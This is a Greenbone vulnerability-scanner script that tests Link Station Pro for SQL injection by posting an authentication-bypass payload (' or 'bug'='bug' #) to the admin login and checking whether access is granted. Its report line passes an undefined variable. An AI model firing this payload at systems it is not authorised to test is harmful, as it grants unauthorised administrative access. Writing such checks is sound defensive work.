Link Station Pro SQLi and XSS Vulnerabilities (Nov 2011)

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801967");
  script_version("2025-01-31T05:37:27+0000");
  script_tag(name:"last_modification", value:"2025-01-31 05:37:27 +0000 (Fri, 31 Jan 2025)");
  script_tag(name:"creation_date", value:"2011-08-18 14:57:45 +0200 (Thu, 18 Aug 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Link Station Pro SQLi and XSS Vulnerabilities (Nov 2011)");
  script_xref(name:"URL", value:"http://secunia.com/advisories/45479/");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210121214311/http://www.securityfocus.com/bid/48948");
  script_xref(name:"URL", value:"http://forums.cnet.com/7726-6132_102-5178348.html");
  script_xref(name:"URL", value:"http://securityreason.com/wlb_show/WLB-2011080004");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/103582/linkstation-sqlxss.txt");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl",
                      "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl",
                      "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to cause SQLi attack
  or to execute arbitrary HTML and script code in a user's browser session in the context of an
  affected site.");

  script_tag(name:"affected", value:"Link Station Pro in all versions.");

  script_tag(name:"insight", value:"The flaws are due to improper validation of user-supplied input,

  - In 'Username' and 'Password' parameter to the 'index.php',

  - In 'AddNewCategory' and 'categoryname' parameter to the
  'manage_categories.php'");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"summary", value:"Link Station Pro is prone to SQL injection (SQLi) and cross-site
  scripting (XSS) vulnerabilities.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_app");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);

if(!http_can_host_php(port:port))
  exit(0);

host = http_host_name(port:port);

foreach dir(make_list_unique("/admin", "/link", "/linkstation", http_cgi_dirs(port:port))) {

  if(dir == "/")
    dir = "";

  url = dir + "/index.php";

  res = http_get_cache(item:url, port:port);

  if(">Link Station Pro Admin Management Login<" >< res) {
    authVariables = "op=adminlogin&username=%27+or+%27bug%27%3D%27bug%27+" +
                    "%23&password=%27+or+%27bug%27%3D%27bug%27+%23";

    req = string("POST ", url, " HTTP/1.1\r\n",
                 "Host: ", host, "\r\n",
                 "Content-Type: application/x-www-form-urlencoded\r\n",
                 "Content-Length: ", strlen(authVariables), "\r\n\r\n",
                 authVariables);
    res = http_keepalive_send_recv(port:port, data:req);

    if(">You have now logged in to the Link Station Pro Admin Area<" >< res) {
      report = http_report_vuln_url(port:port, data:report);
      security_message(port:port, data:report);
      exit(0);
    }
  }
}

exit(99);